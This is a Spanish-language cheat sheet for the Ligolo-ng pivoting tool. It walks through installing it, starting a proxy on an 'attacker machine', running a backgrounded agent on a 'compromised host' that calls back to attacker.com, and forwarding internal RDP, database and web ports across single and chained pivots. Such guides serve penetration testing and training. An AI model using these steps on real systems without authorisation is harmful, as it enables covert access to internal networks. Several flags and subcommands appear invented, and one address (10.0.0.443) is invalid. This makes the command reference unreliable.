Ir al contenido

Ligolo-ng

Instalación

Linux/macOS

# Descargar última versión
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.10/ligolo-ng_0.4.10_Linux_x86_64.tar.gz

# Extraer
tar -xzf ligolo-ng_0.4.10_Linux_x86_64.tar.gz

# Hacer ejecutable
chmod +x ligolo-ng

# Mover a PATH
sudo mv ligolo-ng /usr/local/bin/

# Verificar instalación
ligolo-ng -h

Windows

# Descargar desde releases
Invoke-WebRequest -Uri "https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.10/ligolo-ng_0.4.10_Windows_x86_64.zip" -OutFile "ligolo.zip"

# Extraer
Expand-Archive ligolo.zip

# O descargar manualmente desde página de GitHub releases
# Agregar a PATH si es necesario

Usando Docker

# Compilar desde código fuente
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
docker build -t ligolo-ng .

# Ejecutar proxy
docker run -it -p 11601:11601 ligolo-ng ./ligolo-ng -bind 0.0.0.0:11601 -selfcert

Descripción General de Arquitectura

Componentes

┌─────────────────────┐
│  Attacker Machine   │
│   (Proxy Server)    │
│  ligolo-ng proxy    │
│  :11601 (listener)  │
└────────────┬────────┘
             │ TLS/TCP
      ┌──────┴──────┐
      │  Internet   │
      └──────┬──────┘

┌────────────▼────────────┐
│ Compromised Host        │
│ (Pivot Point)           │
│ ligolo-ng agent         │
│ Connects to proxy       │
│ Routes traffic          │
└────────────┬────────────┘

┌────────────▼────────────┐
│ Internal Network        │
│ Unreachable targets     │
│ 10.0.0.0/8             │
└─────────────────────────┘

Configuración Básica

Servidor Proxy (Máquina del Atacante)

# Generar certificado autofirmado
ligolo-ng -gen-cert -cert-file=cert.pem -key-file=key.pem

# Iniciar listener de proxy
ligolo-ng -bind 0.0.0.0:11601 -cert=cert.pem -key=key.pem

# O sin certificado (generar automáticamente)
ligolo-ng -bind 0.0.0.0:11601 -selfcert

# Con interfaz de red personalizada
ligolo-ng -bind 192.168.1.100:11601 -selfcert

# Especificar nivel de registro
ligolo-ng -bind 0.0.0.0:11601 -selfcert -loglevel=4

Agente (Máquina Comprometida)

# Conectar a proxy
ligolo-ng -connect 192.168.1.100:11601 -tunnel-allow-insecure

# Con verificación de certificado
ligolo-ng -connect 192.168.1.100:11601 -ca-file=ca.pem

# Ejecución en segundo plano
nohup ligolo-ng -connect 192.168.1.100:11601 -tunnel-allow-insecure &

# Ejecución en segundo plano de Windows
START /B ligolo-ng.exe -connect 192.168.1.100:11601 -tunnel-allow-insecure

Gestión de Listeners

Crear Listeners

# Modo interactivo - agregar listener
# En CLI de ligolo-ng:
listener add --bind 0.0.0.0:3389 --to 10.0.0.5:3389
listener add --bind 0.0.0.0:80 --to 10.0.0.10:80
listener add --bind 127.0.0.1:5432 --to 10.0.0.20:5432

# Múltiples listeners
listener add --bind 0.0.0.0:8080 --to 10.0.0.1:8080
listener add --bind 0.0.0.0:8081 --to 10.0.0.2:8080
listener add --bind 0.0.0.0:8082 --to 10.0.0.3:8080

Comandos de Listener

# Listar listeners activos
listener list

# Eliminar listener
listener remove --id=0

# Ver detalles del listener
listener show --id=0

# Habilitar/deshabilitar listener
listener set --id=0 --enabled=false
listener set --id=0 --enabled=true

Gestión de Interfaz de Túnel

Configuración de Interfaz de Red

# Listar interfaces de túnel
interface list

# Crear interfaz virtual (Linux)
interface add --name=tun0 --address=10.0.0.1/24

# Agregar interfaz a túnel activo
interface attach --id=0 --name=tun0

# Ver tabla de enrutamiento de interfaz
interface show --id=0

# Eliminar interfaz
interface delete --id=0 --name=tun0

Configuración de Enrutamiento

# Agregar ruta estática a través del túnel
interface route add --id=0 --network=10.0.0.0/8 --via=10.0.0.1

# Ver rutas
interface route list --id=0

# Eliminar ruta
interface route delete --id=0 --network=10.0.0.0/8

# Puerta de enlace predeterminada a través del túnel
interface route add --id=0 --network=0.0.0.0/0 --via=10.0.0.1

Escenarios de Túnel Práctico

Escenario 1: Acceso RDP a Servidor Interno

# En máquina del atacante, iniciar proxy
ligolo-ng -bind 0.0.0.0:11601 -selfcert

# En máquina comprometida, conectar agente
ligolo-ng -connect attacker.com:11601 -tunnel-allow-insecure

# En CLI de proxy, agregar listener de RDP
listener add --bind 0.0.0.0:3389 --to 10.0.0.50:3389

# Conectar RDP desde atacante
rdesktop 127.0.0.1:3389
xfreerdp /v:127.0.0.1:3389 /u:admin /p:password

# O vía mstsc.exe en Windows
mstsc.exe /v:127.0.0.1:3389

Escenario 2: Acceso a Base de Datos a Través de Pivot

# Agregar listener de SQL Server
listener add --bind 127.0.0.1:1433 --to 10.0.0.100:1433

# Conectar vía herramientas en atacante
sqlcmd -S 127.0.0.1,1433 -U admin -P password -d database

# O usar herramientas GUI
# DBeaver: New Connection > SQL Server > localhost:1433

# Verificar conectividad
nmap -p 1433 127.0.0.1

Escenario 3: Acceso a Aplicación Web

# Configurar listeners HTTP/HTTPS
listener add --bind 0.0.0.0:8080 --to 10.0.0.80:80
listener add --bind 0.0.0.0:8443 --to 10.0.0.443:443

# Acceder vía navegador o curl
curl http://127.0.0.1:8080/
curl https://127.0.0.1:8443/ -k

# Integración con Burp Suite
# Burp > Proxy > Options > Upstream Proxy
# Server: 127.0.0.1, Port: 8080

Escenario 4: Pivoting Encadenado (Multi-salto)

# Configuración de primer pivot
# Atacante -> Pivot1
# Pivot1 ejecuta agente conectándose a atacante

# Desde pivot1, descubrir red interna
# Agregar segundo pivot
listener add --bind 0.0.0.0:11602 --to 10.0.0.2:11601

# En máquina interna, conectar a pivot1
ligolo-ng -connect 10.0.0.1:11602 -tunnel-allow-insecure

# Ahora se puede enrutar a través de ambos pivots
listener add --bind 0.0.0.0:3306 --to 10.0.0.100:3306

Configuración Avanzada

Enrutamiento de Interfaz (Linux)

# Crear interfaz tun para todo el tráfico
interface add --name=tun0 --address=10.0.0.1/24

# Enrutar subred específica
sudo route add -net 10.0.0.0/8 gw 10.0.0.1

# O usar comando ip
sudo ip route add 10.0.0.0/8 via 10.0.0.1 dev tun0

# Ver tabla de enrutamiento
sudo route -n
ip route show

# Agregar ruta predeterminada a través del túnel (¡ten cuidado!)
sudo ip route add 0.0.0.0/1 via 10.0.0.1 dev tun0

Ajuste de Rendimiento

# Aumentar tamaños de búfer (en configuración de proxy)
ligolo-ng -bind 0.0.0.0:11601 -selfcert -buf-size=65536

# Establecer límite de goroutines
ligolo-ng -bind 0.0.0.0:11601 -selfcert -max-conns=1000

# Optimizar para túneles de alto ancho de banda
ligolo-ng -bind 0.0.0.0:11601 -selfcert -tls-version=1.3

Configuración de TLS

# Usando certificados personalizados
ligolo-ng -bind 0.0.0.0:11601 \
  -cert=server.crt \
  -key=server.key \
  -ca=ca.crt

# Verificar certificado de agente
ligolo-ng -connect proxy.com:11601 \
  -ca-file=ca.crt \
  -cert-file=client.crt \
  -key-file=client.key

Resolución de Problemas

Problemas de Conexión

# Probar conectividad desde agente a proxy
# En máquina comprometida
telnet attacker.com 11601
nc -zv attacker.com 11601

# Verificar reglas de firewall
# Linux
sudo iptables -L | grep 11601
sudo ufw status | grep 11601

# Windows
netsh advfirewall firewall show rule name=all | grep 11601

Problemas de Enrutamiento

# Verificar que las rutas estén activas
listener list
interface list

# Probar conectividad a servidor interno
# A través de listener (desde atacante)
telnet 127.0.0.1 3389

# Verificar MTU
ping -M do -s 1472 internal.server

# Habilitar registro detallado
ligolo-ng -bind 0.0.0.0:11601 -selfcert -loglevel=4

Problemas de Rendimiento

# Monitorear estadísticas del túnel
# En CLI: tunnel info

# Verificar salud del agente
# En CLI: agent list

# Reducir conteo de listener si es necesario
listener remove --id=X

# Monitorear red
# Linux
iftop -i tun0
nethogs

Mejores Prácticas de Seguridad

Gestión de Certificados

# Generar certificado con CN apropiado
openssl req -new -x509 -days 365 -nodes \
  -out cert.pem -keyout key.pem \
  -subj "/C=US/ST=State/L=City/O=Org/CN=proxy.domain.com"

# Verificar cadena de certificado
openssl verify -CAfile ca.pem cert.pem

# Verificar vencimiento de certificado
openssl x509 -in cert.pem -text -noout | grep "Not After"

Aislamiento de Red

# Limitar enlace de listener
listener add --bind 127.0.0.1:3389 --to 10.0.0.5:3389
# Solo accesible desde localhost

# Usar reglas de firewall
sudo iptables -A INPUT -p tcp --dport 11601 -s attacker_ip -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 11601 -j DROP

Seguridad de Credenciales

# Usar autenticación si está disponible
# Verificar mecanismo de autenticación en documentación

# Deshabilitar modo inseguro en producción
# En lugar de: -tunnel-allow-insecure
# Usar autenticación basada en certificados adecuada

# Monitorear actividad del túnel
listener show --id=0

Referencia de Comando CLI

# Comandos de listener
listener add --bind <BIND> --to <TARGET>
listener remove --id=<ID>
listener list
listener show --id=<ID>

# Comandos de interfaz
interface add --name=<NAME> --address=<ADDR/MASK>
interface list
interface attach --id=<ID> --name=<NAME>
interface delete --id=<ID> --name=<NAME>
interface route add --id=<ID> --network=<NET> --via=<GW>
interface route list --id=<ID>

# Comandos de agente
agent list
agent info --id=<ID>
agent close --id=<ID>

# General
help
exit

Referencias


Última actualización: 2026-03-30